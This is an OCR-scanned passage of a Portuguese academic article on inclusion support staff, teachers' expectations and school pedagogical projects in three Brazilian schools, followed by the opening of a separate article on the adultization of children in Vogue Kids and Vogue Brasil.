ria de crescimento com o processo de inclusao, por ja atender ha anos alunos com deficiéncia,
traz, em seu PPP, uma estrutura maior de referéncia de escola arquitetonicamente pensada
para atender esses alunos, com corrimaos, rampas, banheiros adaptados, oficinas e profissio-

nais de apoio, sala de recursos e diferentes materiais e atividades. Tem como meta a busca da

qualidade na educacao e a diminuigao dos indices de reprovacao, bem como a superacao dds
dificuldades de aprendizagem dos educandos. Registra, no PPP, que sua pratica escolar
poe o acolhimento a diversidade, desenvolvendo a autonomia do educando, sendo uma egcola

com proposta inclusiva, acolhendo a todos sem discriminacao, possibilitando a socializagao




entre as diferencas, fortalecendo o aprendizado emocional. Mas, porém, ndo ha uma referéncia
a descrigao das funcoes de profissional de apoio a inclusao ou sala de recursos.
O PPP da escola B possui uma filosofia que busca uma aprendizagem significativa a

partir do vinculo afetivo, tendo a disposicao sala de apoio pedagogico, sala de recursos mul-

tifuncional e sala de atendimento, demonstrando que os professores tém a disposicao varios
recursos para trabalhar, inclusive notebook com acesso a internet para o planejamento e a
execucao das aulas.

Sua metodologia é fundamentada na ideia de que o aluno € sujeito de seu processo de
aprendizagem, sendo o professor o mediador da interagao aluno/conhecimento. A inclusao € ci-
tada quando ¢ descrito o funcionamento da sala de recursos multifuncional, que atende no turno

oposto do aluno com deficiéncia, como prevé a legislacéo em vigor - Decreto n° 7.611- (BRASIL,

2011), e quando faz referéncia ao auxiliar de turma, que faz o apoio a inclusao dos alunos que ne-
cessitam de atendimento individual, mas se refere somente a questdes de higiene e alimentacao.
A escola C, em seu PPP, ndo tem nenhuma referéncia a incluséo, o mesmo continua

desatualizado, aguardando uma ordem de uma instancia maior para que possa ser “mexido”

nele. Nessa escola, nao ha uma forma especifica para se atender alunos com deficiéncia e
nem sala de recursos; quando necessario, 0s alunos sao encaminhados a outras instituicoes
para que o atendimento em turno oposto possa ser feito. De acordo com as Diretrizes Nacionais
para a Educacao Especial:
Esse servigo realiza-se em escolas, em local dotado de equipamentos/ e re-
cursos pedagogicos adequados as necessidades educacionais especidis dos

alunos, podendo estender-se a alunos de escolas proximas, nas quai
nao exista esse atendimento (BRASIL, 2001a, p. 50).

ainda




Analisar o PPP se torna relevante no sentido de verificar se a inclusao esta de fato
pautada no dia a dia da escola, se ela é parte desse contexto. O aluno de inclusao, seus pais
e seus professores precisam saber os porqués pelos quais esse aluno esta ali, para que ele
necessita estudar e como sera dado esse processo. E, se “entendemos que o objetivo maior
da educacgao € a autonomia intelectual, emocional e social do educando, precisamos criar
as condicoes para esse exercicio” (AMARAL, 2010, p. 97). No PPP, também deveria constar,
como no caso da escola C, a metodologia de ensino mais significativa para esses alunos, para
que de fato a aprendizagem aconteca e o ensino faca a diferenca para esses alunos. Para
Carvalho (2006, p. 63):

Educadores que se identificam como profissionais da aprendizagem transfor-
mam suas salas de aula em espacos prazerosos onde, tanto eles como os alu-

nos, sao cumplices de uma aventura que € o aprender, o aprender a aprender
e 0 aprender a pensar.

Nas entrevistas, foi possivel verificar um pouco do patamar de formagao dos profis-
sionais envolvidos com a aprendizagem de alunos com necessidades especiais. As escolas
A e B possuem sala de recursos. A escola C nao possui, mas direciona os alunos para serem

atendidos em outra escola que possui sala de recursos. As trés escolas pesquisadas tém

profissionais de apoio a inclusao, que se identificam como apoio a inclusao, embora que
escola B, este seja identificado como auxiliar de incluséo. As escolas mencionam ainda
trabalham com apoio ou auxiliar de inclusao na forma de estagio renumerado, com uma
horaria de trinta horas semanais, com excecao da apoio CX, que € contratada e tem uma ¢arga

horaria de 40 horas semanais atendendo alunos surdos.




Quanto a formacao, destaca-se que a apoio AX e a apoio BX iniciaram o estagio, ja em
seu primeiro semestre do Curso de Psicologia, sem antes terem feito magistério ou terem traba-
Ihado em escola ou com alunos; enquanto a apoio CX esta cursando Pedagogia e possui uma
formagao em AEE (Atendimento Educacional Especializado) e Lingua de Sinais.

Esse panorama traz algumas situacoes curiosas como, por exemplo, a apoio BX, no
momento da contratagao, sequer sabia a que se referia o trabalho a ser feito, dizendo, em
uma de suas falas da entrevista, que sabia apenas que se tratava de incluséo: “eu sabia que
era incluséo, mas ndo sabia o que, eu nao tinha o conhecimento, foi tudo novo”. Seu trabalho
iniciou como inicia o trabalho de muitos estagiarios que buscam um local para aprimorar seus
conhecimentos, sem saber o que 0s espera, ou ainda, como este trabalho seria. Durante as
entrevistas, AX e BX deixaram claro que aprenderam no dia a dia a fazer o que era necessario.
Isso fica bem explicito na fala da apoio BX: “Cai de paraquedas, eu noto pelas criancas que
eu posso auxiliar, que eu faco a diferenca, eu vejo que elas tém confiangca em mim”. Ou na fala
da apoio AX: “a gente tenta fazer o possivel, sempre a gente vai pensando o que mais a gente
vai fazer, porque ¢ um aprendizado mais lento” Ou ainda na fala da apoio CX, quando conta:

Cheguei a escola, para onde fui designada para traduzir a aula para alunos
surdos, o momento da chegada foi tumultuado, os professores me abracavam
e diziam que tinha vindo salva-los. A Escola estava tendo, pela primeira, ve,
alunos surdos e, estes ja estavam ha dois trimestres sem ninguém para trad

as aulas [...] todos na escola tivemos que ter nosso periodo de adaptacéo,
era novo para todos.




umario

Quando os apoios sao questionados sobre 0 que fazem como apoio em sala de aula, a

resposta € muito semelhante:

Eu ajudo a desenvolver as atividades [...] geralmente a professora adapta o
contetido e eu ajudo a aplicar [...], a explicar de novo .."eai,como tempo e a
experiéncia que eu vou adquirindo, eu ja consigo eu mesma adaptar e dar ideia
para a professora também (Apoio AX).

E, de acordo com a apoio BX: “Nés trabalhamos a questao de relacionamento com eles,
... a gente trabalha a desenvoltura dele”.

Respostas proximas das falas das profissionais de apoio encontram-se também nas
falas das professoras. Nao parece ter uma definicao clara do papel do profissional de apoio,

que acaba se confundindo com o do professor.

[...] € um apoio especial, porque, assim, eu ja tive varios auxiliares e assim, ela
€ o braco direito mesmo, tanto assim que a gente pega de igual para igual...
ela realmente entendeu o trabalho, incorporou de igual para igual as tarefas de
sala de aula (Professor B).

Nas falas apresentadas anteriormente, percebem-se diferentes fatores que sugerem
reflexao: o que realmente o professor busca com o apoio? Ou ainda: o que de fato as politicas
publicas preveem como apoio? Na Resolucao n® 2 do Conselho Nacional para a Educaca
que institui as Diretrizes Nacionais para a Educagéo Especial Basica (BRASIL, 2001a), encon-

tram-se alguns aspectos praticos para o servico de apoio a inclusao com destaque para as

' As reticéncias nas falas das entrevistadas referem-se a siléncios, titubeios durante as respostas. As falas das entrevistadgs foram
adequadas quanto a questdo gramatical.




adaptacgdes curriculares e para a capacitagdo de professores, mencionando a importancia de
um trabalho colaborativo entre todos os envolvidos com a inclusao, focando a formagao e as
atribuicoes principalmente do professor especialista que trabalha na sala de AEE.

A falta de conhecimento sobre o papel a ser desenvolvido pelo profissional de apoio,
que fica em tempo integral na sala de aula, faz pensar sobre a precariedade das relacoes de
aprendizagem que sao estabelecidas quando a definicao dos papeis nao esta clara, nem para
o professor nem para o profissional de apoio — um estagiario, as vezes, em processo inicial
de formacgéo (caso das apoios AX e BX) — e, muito menos ainda, para a comunidade escolar.
Nesse sentido, fica para o professor definir como o apoio trabalhara. E, nesse contexto, que
pode ser entendida a afirmacao do professor B, que diz que “a gente pega de igual para igual”,
como ja referido. Essa é uma pratica ainda distante da educacao inclusiva como refere Maz-
zotta (1998 apud BRASIL, 2001a, p. 27), com base na LDBEN e no Decreto n° 3.298, de 20 de
dezembro de 1999, Artigo 24, §, 1%

[...J Um processo educacional definido em uma proposta pedagdgica, assegu-
rando um conjunto de recursos e servicos educacionais especiais, organizados
institucionalmente para apoiar, complementar, suplementar e, em alguns casos,
substituir os servicos educacionais comuns, de modo a garantir a educacao es-

colar e promover o desenvolvimento das potencialidades dos educandos que
apresentam necessidades educacionais especiais.

No Parecer CNE/CEB 17/2001, do Ministério da Educagéao (BRASIL, 2001b), enco
-se 0 conceito de apoiar, como o servico do profissional de apoio a alunos com necessidades
especiais: “prestar auxilio ao professor e ao aluno no processo de ensino e aprendizagem,

tanto nas classes comuns quanto em salas de recursos; complementar”.




No contexto do Parecer, o papel do profissional de apoio precisa ser revisto para que
ocorra uma maior acao pedagogica critica e reflexiva. Pelas falas referidas, percebe-se que
cada um faz o que pode e 0 que esta ao seu alcance, confundindo-se, por vezes, as fungoes,
tratando os profissionais como iguais, “pegamos de igual para igual, ... nés trabalhamos,...
eu mesmo adapto as atividades...”. As apoios, geralmente, ndo cursam licenciatura. Isso nao
quer dizer que estao fazendo pouco. Pelas falas, fazem até alem do que lhes compete como
profissionais de apoio.

Percebemos que cada professor procura um profissional de apoio diferente, com o
objetivo de qualificar seu trabalho, levando em conta a formagao que ja possui e qual a lacuna
que tem e, assim, 0 apoio vem para preencher a lacuna. Isso fica explicito na fala da professora
B, com formacao inicial em Magistério, depois fez Graduagdo em Educacao Fisica e especiali-
zou-se em Psicomotricidade. Ela fala o seguinte sobre a formacéao da apoio:

Ja tive varios apoios, como da area de Educacao Fisica, académicos de Assis-
téncia Social e outros, agora, por ultimo, pedi que fosse alguém da Psicologia,
porque, dentro da area do movimento, eu entendo, mas de Psicologia eu pre-
ciso muito, preciso entender bastante em funcao dos varios casos que tenho,
mas me falta conhecimento. [...] eu noto que a apoio que tenho agora e a ante-
rior, que também era da area de Psicologia, elas tentam muito ajudar através da

palavra, porque a ferramenta delas € a palavra, eu vejo que elas compreendem,
um pouco mais pela area que elas estéo cursando.

Nesse contexto, € imprescindivel entender que, no momento atual, cada profissional
procura exercer seu papel da melhor forma possivel para atender ao aluno incluso, mostrando

assim que “a construgao do conhecimento na perspectiva das necessidades educativas espe-




Ciais, pressupde uma complexidade que perpassa desde as estruturas globais de uma rede de
ensino até atitudes praticas de sala de aula” (SKLIAR; SOUZA, 2000, p. 259).

Num artigo sobre o ensino colaborativo para apoio a incluséo, Vilaronga e Mendes (2014)
mencionam que esse tipo de ensino ainda nao € comum no Brasil, mas pode ser uma boa opgao,
pois traz o professor de ensino especial como apoio para a classe comum. Para os autores, 0s
professores que atuam individualmente nao possuem respostas para a deficiéncia e a troca de
informacgodes € primordial em uma proposta inclusiva (VILARONGA; MENDES, 2014).

O professor do ensino colaborativo (coensino, assim definido) fica na sala com o aluno e
faz as adaptacoes do contetido bem como troca de papel com o professor; enquanto o profes-
sor fica com o aluno com deficiéncia, o professor colaborativo da assisténcia aos outros alunos.
Mas, para que isso ocorra, muitas mudangas sao necessarias na escola, como o estabeleci-
mento de um tempo de planejamento comum, para que um possa complementar o trabalho do
outro, bem como uma formagao continuada e muita troca de experiéncias, para que os dois
profissionais possam construir uma rede de confianga um no/com o outro.

Ao olhar para a pratica de apoio, como visto no campo empirico, pode-se dizer que
acontece algo parecido com o ensino colaborativo as avessas, isto €, sem conhecimento e for-
magcao pedagogica para isso. Ha uma espécie de inversao de papeis na sala de aula e 0 apoio,
muitas vezes, € o que adapta o material do aluno incluso, sem ter a formacao pedagogica como

sugere 0 ensino colaborativo.




0 PROFISSIONAI. Quando recebemos um aluno de inclusao, como professores, também perguntamos, e

E APOIO E AS agora? Alguns se frustram no caminho, outros professores descobrem um novo mundo, novas

EXPECTATIVAS DOS maneiras de colocar em pratica o que aprenderam em sua formagao de professor, experen-
ciando, na pratica, o aprender a aprender sempre.

PROFESSORES Durante as entrevistas, percebeu-se que os professores tém diferentes expectativas
com relacao aos profissionais de apoio. Tanto as falas das profissionais de apoio como das
professoras evidenciam isso. No dizer da profissional de apoio CX, ha mais duvidas por parte

das professoras que propriamente expectativas em relacao ao apoio. Em suas palavras:

Quando eu cheguei a escola, na qual pela primeira vez tinha-se alunos surdos,
as duvidas comecgaram a aparecer, todos tivemos que nos adaptar, alguns pro-
fessores, preocupados, perguntavam para mim (durante a tradugéo da lingua)
se estavam falando muito répido ou se precisavam fazer uma aula diferente, ou
se eu ia ficar a aula inteira ali, ou me dizendo na hora da prova ‘tu podes sair
porque ai eles ndo precisam mais de ti, pois ja tiveram tudo explicado’. Com o
tempo e com muita informacgao trocada, percebi que muitos professores bus-
caram ajuda e modificaram sua pratica, bem como sua forma de agir e pensar,
pois tudo era novo para todos ali (Apoio CX).

Ja a professora A, em relacéao ao apoio, disse:

Ela tem uma formagao na area de Psicologia, entéo, na parte pedagogica d
alfabetizacao, ela nao tem uma formagéao, mas, como ela ja esta dois anos t
balhando com a gente e como ela tem semanalmente uma conversa col
psicopedagoga, ela ja tem uma boa base para auxiliar e fazer as intervent¢des
corretamente quando necessario.




Podemos dizer que a professora tem o desejo de que 0s apoios tenham o conhecimento
necessario ou, pelo menos, experiéncia, para assim qualificar o trabalho que esta sendo feito
com os alunos. Levando em conta que o contrato de uma estagiaria € de dois anos, 0 processo

de ter “uma boa base” em servigo, como a professora A refere, a cada dois anos, devera ser

reiniciado.

E interessante observar que, na fala da professora A, encontra-se uma nova necessida-
de na escola, visto que o0 apoio também precisa de apoio para fazer seu trabalho, pois nao tem
formacao ou condigdes necessérias para fazer essa atividade. Conforme Bossa (2000, p. 74),
o psicopedagogo (que no momento trabalha na sala de recursos) “pode orientar professores
no acompanhamento do aluno com dificuldades de aprendizagem”.

Essa mesma constatagao do profissional de apoio que se forma em servico se encontra

no dizer da professora B, embora com um olhar de formacao que se busca no proprio espaco

de formacao especifica, no caso, em seu curso de graduacao:

Alguém, algum académico na area da Psicologia, pra mim € muito salutar, tanto
que ela e a anterior, que também era de Psicologia, varias vezes pegavam situ-

acOes daqui e levavam para a faculdade, me traziam retorno, olha, quem sabe
tu tentas por aqui, tentas por ali, eu acho que € uma coisa muito rica, tanto para
mim, quanto pra ela, essa troca é fundamental e porque eu noto que quem me
apoia agora e a anterior, que também era da area da Psicologia, elas tenta
muito ajudar através da palavra, porque € a ferramenta de trabalho delas.

O que fica explicito nessas falas da professora A e professora B € que o olhar do/pro-
fessor e/ou sua expectativa em relagao ao profissional de apoio depende muito de sua real

necessidade no momento: alguém com formacao pedagogica ou formacao psicolégica pu em




4 0 PROFISSIONAL DE
APOIO E AS PONTES
DE INTERACAO

outra area do conhecimento. Como contemplar todas essas particularidades? E, ainda, nao
deveria ser a necessidade do aluno e nao a necessidade do professor a ser levada em conta?
Conforme Goes (2007, p. 74), “para uma educacgdo especial, mesmo (ou sobretudo) na inclu-
sa0, sao indispensaveis projetos diferenciados e nao apenas pequenos ajustes”.

Nesse sentido, entende-se que nao bastam leis que explicitem o papel e a formagao
do profissional de apoio, mas politicas publicas mais claras, tanto de insercao de pessoas
qualificadas para trabalhar com necessidades especiais nos espagos educativos como de
instrumentalizacdo desse profissional.

E dessa forma que o aluno incluso passa a ser o foco do processo e no o professor ou

0 apoio e 0 que o apoio pode oferecer ao professor.

O profissional de apoio torna-se um suporte para o professor em sala de aula e um pon-
to seguro também para o aluno incluso. Isso fica explicito na fala da professora B quando ela se
refere a importancia do trabalho de um apoio em sala, com criangas com NEE (Necessidades

Educativas Especiais):

Primeiro eu nao teria como dar conta, porque sao criancas que realmente t
tem um olhar diferente, se eu for atender estas criangas com NEE, o restante gla
turma vai ficar ao ‘léo’, [...]. Tanto que até com saltos da escada, eu subo
eles, ponho eles na minha frente e salto com eles, eu empresto o meu corpo
para que eles tenham estas sensagodes, entdo, se eu nao tiver um auxiliar, eu
nao tenho como trabalhar.




Percebe-se, nesse caso, que os profissionais que trabalham com os alunos deficientes
vao buscando meios e formas de criar um vinculo com os alunos, trocando, muitas vezes, de
papeis, com o objetivo de fazer o aluno experimentar e criar sua propria autonomia. A profes-
sora B e a apoio BX oferecem seu corpo ao aluno, primeiro junto com ele e, apds, vao deixando
que ele se sinta seguro e, aos poucos, enfrente os desafios sozinho, “eu nao quero que a crian-
ca figue dependente dela, da apoio, e, nem dependente de mim” (professora B). Nessa fala,
tem-se uma proximidade muito grande com o que pensa Amaral (2010, p. 97): “é desejavel que
a dependéncia professor-aluno va se diluindo, o que nao quer dizer que a figura do professor
se torne desnecessaria: ela muda o seu papel”.

Para tanto, ha uma preocupagao dos professores em criar vinculo com os alunos es-
peciais tanto quanto criam com os alunos ditos normais. A fala da professora A traz isso da se-
guinte forma: “eu tive que deixar a turma fazer outra atividade e eu também sentar com elas (as
alunas com NEE) e fazer as atividades para criar esse vinculo”. Na fala da apoio BX, também
se constata essa criagdo de vinculo ao referir que “nao fico sé eu e ele (aluno de inclusdo), a
gente se reveza, porque eles tém respeito pelas duas, porque as duas estao ali para ajudar”.

Mas nao so as trocas de papeis se mostram necessarias, mas o criar, 0 pensar a ativi-
dade em conjunto, professor e apoio, para de fato auxiliar o aluno. E o que mostra o dizer da
professora A: “tem atividades que a gente pensa a partir deles, do que eles conseguem cop-
tribuir e mostrar para o grupo dentro das possibilidades deles”. Vé-se ainda que, nessa trgca,
€ importante todos terem seu espaco para crescerem. Nesse aspecto, a apoio BX, quando se
refere a professora B afirma: “ela da muita abertura, me pergunta o que eu poderia estar fazen-

do, ela vai me dando um espaco amplo para construir”.




Além de tudo isso, o querer e o fazer do professor se tornam também relevantes quando
ele acredita no aluno, aposta nele e repassa isso para 0 apoio, ou vice-versa. A professora B
deixa claro, em suas falas, sobre sua paixao e a visao que tem sobre esses alunos tao diferen-

tes: “sou apaixonada pelo que fago [...], € um prazer muito grande atender essas criangas”. Ou

entdo: “quando uma criangca com NEE enxerga os outros fazendo, ela se supera”, por isso ela
acredita tanto na convivéncia com os alunos ditos normais.
A professora A demonstra com exemplo como pensa a incluséo, relatando como inclui
a aluna com sindrome de Down em suas aulas:
A aluna com Sindrome de Down gosta de fazer o trabalho dela e vir na frente,
no quadro, para mostrar, entédo, quando a gente propde trabalhos assim de
desenhos, recortes e colagem, ela tem um espago de poder vir e mostrar o

trabalho e a turma € bem legal, eles aplaudem, eles olham quando ela chama,
eles a entendem assim.

A inclusdo perpassa o professor e 0 apoio, ela reflete em toda a sala com todos os
colegas que fazem parte do grupo. Conforme os PCNs (Parametros Curriculares Nacionais)

(BRASIL, 1997, p. 63):

A atencao a diversidade deve se concretizar em medidas que levem em conta
n&o so6 as capacidades intelectuais e os conhecimentos de que o aluno dispd
mas também seus interesses e motivagdes. Esse conjunto constitui a capaci
de geral do aluno para aprendizagem em um determinado momento.

Mas nao se pode deixar de perceber que, muitas vezes, a falta de um profissional/qua-

lificado deixa muitos alunos ainda a margem da inclusado, por mais empenhados que sejam 0s




professores e 0s apoios, como é o caso da aluna atendida na escola A. Ela é deficiente auditi-
va, utiliza aparelho, e a apoio sabe que ela aprendeu o basico de LIBRAS (Lingua Brasileira de
Sinais) em um projeto oferecido pelo municipio, mas ela nao utiliza, nem a familia, e sozinha,
nao tinha quem desse continuidade a esse aprendizado. Em relagao a essa situacao, a apoio
AX afirma: “ela nao usa (a lingua de sinais) porque ela consegue escutar e falar também, ape-
sar de ser surda, mas a timidez dela em sala nao deixa ela falar”. Situacoes como essa, descrita
pela apoio AX, ndo podem ser simplesmente acomodadas como se fossem obra de um senti-
mento pessoal. Antes devem agucar o pensamento, provocando duvidas e perguntas do tipo:
€ a timidez de fato que néo a deixa falar? Se for, como supera-la? Ela realmente compreende o
que esta acontecendo ao redor dela? Como saber? De acordo com Lopes (2006, p. 64):
O meio ao qual a pessoa pertence esta repleto de informacoes, de construgdes
comportamentais que sao traduzidas culturalmente pela linguagem. A lingua-
gem representa o veiculo por exceléncia através do qual o homem tem con-
dicbes de se apropriar dos produtos culturais da humanidade. Por intermédio

dela, podemos nos beneficiar ndo s6 das nossas experiéncias, mas, tambem,
das experiéncias das outras pessoas.

Também se pode pensar que a escola A passa a ser um “local onde a surdez ¢é disfar-
cada” (SKLIAR, 1998, p.11), naturalizando o surdo como ouvinte. E continua a ddvida: é timide
ou surdez? Segundo Skliar (1998, p. 26), “todas as criancas surdas podem adquirir a lingya
de sinais, desde que participem das interagdes quotidianas com a comunidade surda, cgmo
acontece com qualquer outra crianca na aquisicao de uma lingua natural”.

Nesse sentido, falta a busca por mais informacgdes, conforme a apoio CX: “os professo-

res tinham medo de falar com os surdos e direcionavam a pergunta (sobre a aula) para mim, ao




invés de direcionar a eles”. Essa fala mostra que muito ainda precisa ser descoberto, conheci-
do, aprendido por todos 0s envolvidos.
Essa aprendizagem vai fazer o professor ir além do que sabe, qualificando seu trabalho

e trazendo todos os profissionais envolvidos com seus alunos para mais perto, porque € disso

que a inclusao necessita, pois “nas escolas inclusivas, pela forga da lei, nao ha uma prepara-
¢éo antes, para o exercicio depois” (FONTANA; FURGERI; PASSOS, 2007, p. 163), como é o
caso visto na escola C. Entao, cabe a escola se preparar.

Ha ainda muito medo e inseguranca por parte das professoras, como mostra a fala da
apoio CX, em relagdo a uma espécie de adverténcia de uma professora: “tu ndo comeca com
essas teorias de inclusao, senao, daqui a pouco, vamos ter varios alunos com varias deficiéncias

aqui, e como vamos fazer? Vai ser impossivel de dar aula”. Implicitos a adverténcia ha esse

medo e certo preconceito, como se a inclusao fosse um empecilho ao trabalho do professor.
Nesse contexto, entende-se também o que € destacado pela apoio AX, referindo-se aos
laudos. As escolas A, B, C atendem alunos em salas de AEE ou tem apoio de inclusao somente

para alunos que possuem laudo: surdos, cegos, com Sindrome de Down, deficientes. Os outros

alunos, apesar de suas diferencas e também dificuldades, muitas vezes, de acompanhar a aula,

nao tém esse direito. Devemos lembrar que todos os alunos devem ser considerados especiais,

reconhecidos em suas individualidades, o que significa que todo o profes:
como profissional de aprendizagem que €&, deve ser especialista no aluno//[...
Isso requer do professor habilidades e criatividade para transmitir, além
ber critico e de uma enorme curiosidade ligada a interesses académicos ([CAR-
VALHO, 2008, p.168-169).




Na fala da apoio AX, percebe-se que o profissional, em sala de aula, sempre procura
encontrar uma forma de dar uma atencgéo para esses outros alunos também:

A gente conversa e troca folhinhas e ideias, néo s6 para os alunos de inclusao,

sempre tem aquele que tem um pouco mais de dificuldade que a gente vé que

nao tem laudo, mas a gente acaba ajudando também, adaptando ele. Auxilian-
do ele também (Apoio AX).

Sabe-se que um profissional aprende com o apoio e 0 apoio aprende com o aluno e o
aluno aprende com os profissionais bem como os profissionais aprendem muito com os alu-
nos. E ainda nao podemos deixar de fora os colegas, os alunos (ditos normais) que também
estao aprendendo, em seu dia a dia, a respeitar o proximo e a crescer junto com o outro que

se mostra diferente de si. Pacheco et al. (2007) afirma que a reflexdo sobre a pratica diaria

do professor, com uma iniciativa colaborativa para resolver problemas, o estudo do contexto
escolar e boa literatura referente ao assunto sao formas de melhorar o trabalho na escola com

alunos que necessitam de apoio, que sdo entao incluidos. Afirma também que:

Os alunos nao sao vistos apenas como fatores constantes do contexto escolar,
mas também como fonte de troca colaborativa de pontos de vida sobre situa-
coes e sobre como a vida nas escolas pode ser melhorada. As contribuicdes
que os pais podem dar s&o de muito valor (PACHECO et al., 2007, p. 214).

Sendo assim, em se tratando de alunos com necessidades educacionais especigis,
quando ha o desejo, todos ganham, sendo que, para isso, € necessario também criar “condi-
¢oes organizacionais e curriculares nas quais cada um e todos 0s alunos possam aprehder”

(PACHECO et al., 2007, p. 115).



SIDERACOES

Ainda de acordo com Pacheco et al. (2007), para que a inclusdo aconteca, & necessario
planejar, levando em conta a formacéao de um ambiente afetuoso, de igualdade, de apoio per-
manente, reforcando que “as estratégias valorizadas sao o trabalho em equipe de professores
e alunos, a aprendizagem cooperativa, a intensificacao das relacdes sociais, as adaptacoes de
equipamentos e a gestao escolar” (PACHECO et al., 2007, p. 115).

E, quando ha preocupagéao de fato com a qualidade de ensino, Carvalho (2006, 105-
106) reforca que:

Na escola, a qualidade deve passar pelo sucesso de todos os atores envolvi-
dos: 0 aluno — na medida em que for capaz de aprender a aprender e aprender
a fazer; o professor que, ao ressignificar a sua pratica pedagogica, podera
centra-la na aprendizagem em vez de no ensino; - a comunidade escolar para
que desempenhe seu papel politico e social, além de pedagodgico, em busca
da cidadania plena de seu alunado; - a familia que precisa participar da elabo-

racao do projeto politico-pedagogico das escolas; a comunidade onde a escola
se localiza, em suas multiplas possibilidades de parcerias.

Nao ha como incluir sozinho, nao basta ter todos na escola para que a inclusao ocorra,

€ preciso mais, além de recursos, € necessario o desejo de mudanca, de sair da rotina e en-

frentar o que ¢ diferente.

Ao final da investigacao feita, percebe-se que a formacao, mesmo que em algumag si-
tuacdes possa parecer detalhe, torna-se essencial para buscar o conhecimento com sentido.
Isso vale tanto para o processo de formagao profissional do professor e do profissional de Japoio

como para o processo de aprendizagem a ser construido com seus estudantes em sala de aula.



Nesse contexto, viu-se, por exemplo, que o profissional de apoio, embora, a medida
que vai se inserindo no cotidiano da escola e da sala de aula, qualifica os processos de apren-
dizagem de alunos com deficiéncia, nem sempre tem a formacao necessaria para tal. Contava,

em alguns momentos, com a formacao do professor para complementar seu trabalho e, em

outras ocasides, contava com a formagao oferecida em servico, ou ainda, na instituicao em
que € estudante, visto que € também estagiario. E, como requisito desse estagiario, requer-se
apenas que ele esteja cursando o Ensino Superior, inclusive podendo ser ainda do primeiro
semestre de graduacao, sem especificacao de curso.

O que se pode deduzir desse tipo de situagao é que nas escolas pesquisadas nao ha
profissionais de apoio na sala de aula, junto ao professor, como previsto pela legislacéo atual.

O que ha sé&o estagiarios procurando tomar conhecimento da situacao e se inserir nesse meio

da melhor forma possivel, tanto para si, como para o professor e o aluno com necessidades
educativas especiais. E uma situacéo que pode denotar tanto a falta de politicas publicas por
parte das Secretarias de Educacao como, também, a falta de um engajamento maior por parte

da comunidade escolar quanto ao que de fato se propde em relacao a aprendizagem significa-

tiva de todos os seus educandos na escola.

Em outras palavras o que se percebe como pratica do profissional de apoio — o estagi-
ario - € uma espeécie de auxiliar do professor, o que evidencia a falta de conhecimento sobre/o
que se requer de um profissional de apoio em sala de aula. De um lado, o estagiario, sem
formacao especifica, desconhece o seu papel de promover a acessibilidade e a participacao
do aluno com NEE. De outro, o professor, frente as dificuldades que se apresentam, solicita um

estagiario, indicando a area de estudo do mesmo de acordo com suas proprias necessigdades




e/ou lacunas, desconsiderando também o papel do profissional de apoio — garantia de acesso
e participagao do aluno deficiente no processo educativo.
Nessa perspectiva que se torna fundamental olhar mais atentamente para os projetos

politicos pedagogicos, inserindo neles as praticas que se preveem na area inclusiva. Pela

analise feita, nota-se que muito do que se faz na escola, como apoio ao apoio e metodologias
diferenciadas, nao se encontram explicitados no PPP - documento que, respaldado legalmen-
te, traduz a identidade da escola e referencia a forma como a escola inclui, como avalia alunos
incluidos e como ocorrem as adaptagoes curriculares, para que estas nao se tornem uma mera
simplificagdo dos conteudos abordados em aula.

Vale referir que o professor sozinho nao dara conta do cenario inclusivo diversificado

presente em nossas escolas. O apoio — a terceira personagem - faz-se necessario para suprir

uma necessidade e sua presenca qualifica o processo de ensino-aprendizagem do aluno. Para
isso, deve-se levar em consideracao a formacao, de acordo com o que prevé a legislagao, dos
profissionais envolvidos. Sem o respaldo dessa formacéo, a terceira personagem tornar-se-a

dispensavel.

Ao compreender que a incluséo nao se faz sozinho, muito menos quando almejamos
qualidade na educacao e que ela também nao pode mais ser separada em duas educacoes
- especial e regular, vé-se a necessidade das escolas se prepararem cada vez mais para recg-
ber todo e qualquer aluno. E, como forma de garantirem a aprendizagem significativa de cada
um de seus alunos, devem primar pela formacao continuada de seus profissionais — profgsso-
res e apoios. Dessa forma, ao receberem alunos com deficiéncia, as barreiras tenderao a ficar

menores e a qualidade dos processos de ensino-aprendizagem, maiores.
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Este artigo tem como foco analisar a adultizacao da infancia pela midia de moda, que,
atualmente, demonstra crescente interesse pela figura e representacao infantil sendo cada
vez mais recorrente o aparecimento das mesmas em suas midias. Dentro deste cenério,
para maior consisténcia e veracidade da pesquisa, o presente estudo se utilizard, de uma
andlise dos editoriais de moda e campanhas publicitdrias das revistas de moda infantil, Vo-
que Kids e revista de moda adulta Vogue Brasil, a fim de compreender se hd semelhancas
entre as duas revistas em torno da tematica adultizacdo da infancia e de que forma essas
criancas estao inseridas no seu contexto social.

Palavras-chave: Infancia. Consumo. Moda. Informacdo. Publicidade.

BSTRAC

This article focuses on analyzing the childhood adultization by the fashion media, whi-
ch currently shows increasing interest in the fiqure and child representation increasingly
applicant is the appearance of them in their media. In this scenario, for greater consis-
tency and accuracy of research, this study will be used, an analysis of fashion editorials
and advertising campaigns of children’s fashion magazines, Vogue Kids and adult fashion
magazine Vogue Brazil, in order to understand if there similarities between the two ma-
gazines around the theme adultization childhood and how these children are placed in
their social context.

Keywords: Childrenhood. Consumption. Fashion. Information. Publicity.



INTRODUCAO

A imagem da crian¢a tem sido cada vez mais retratada em diversos veiculos midiaticos,
e, hoje, mais especialmente, na area de moda voltada para o mercado de luxo. Neste cenario,
percebe-se uma publicidade que retrata a crianga recorrentemente de maneira adultizada e
sexualizada. Nota-se, neste sentido, que quando utilizada, a imagem do sujeito infantil apa-
rece, talvez unicamente, conectada a situacoes cotidianas do mundo adulto elitizado. Dessa
forma, o presente estudo tem como objetivo geral analisar e compreender como as campanhas
publicitarias e editoriais de moda e de luxo buscam representar a infancia vinculada com as
representacoes adultas. Para isso, a pesquisa realizara uma analise da revista Vogue Kids,
periddico vinculado a publicagdo adulta Vogue Brasil, para tentar compreender como esta
crianca consumidora de marcas de luxo € retratada nos periédicos.

A questao norteadora do estudo é entender e analisar se a identidade infantil apresen-
tada na revista Vogue Kids pode ser compreendida como uma espeécie de reflexo dos adultos,
pais consumidores, representados na Vogue adulta. Também é proposta apontar semelhancas
nas representacoes dos adultos e das criangas nos dois periddicos — Vogue Kids e Vogue.
Metodologicamente, este estudo baseia-se na Pesquisa qualitativa com texto, imagem e som
(2008) proposta por Martin W. Bauer e George Gaskell.

A primeira etapa da pesquisa preocupou-se em selecionar um conjunto de trés publica-
cbes de cada revista (Vogue e Vogue Kids) dos anos 2014 e 2015. A segunda etapa constitui-
-se na analise das principais recorréncias encontradas quando a imagem da crianga apargce,
em contraponto com a imagem do adulto, também representada. Na terceira etapa realiza-se
uma categorizacao das principais inferéncias obtidas no estudo e os resultados relacionados

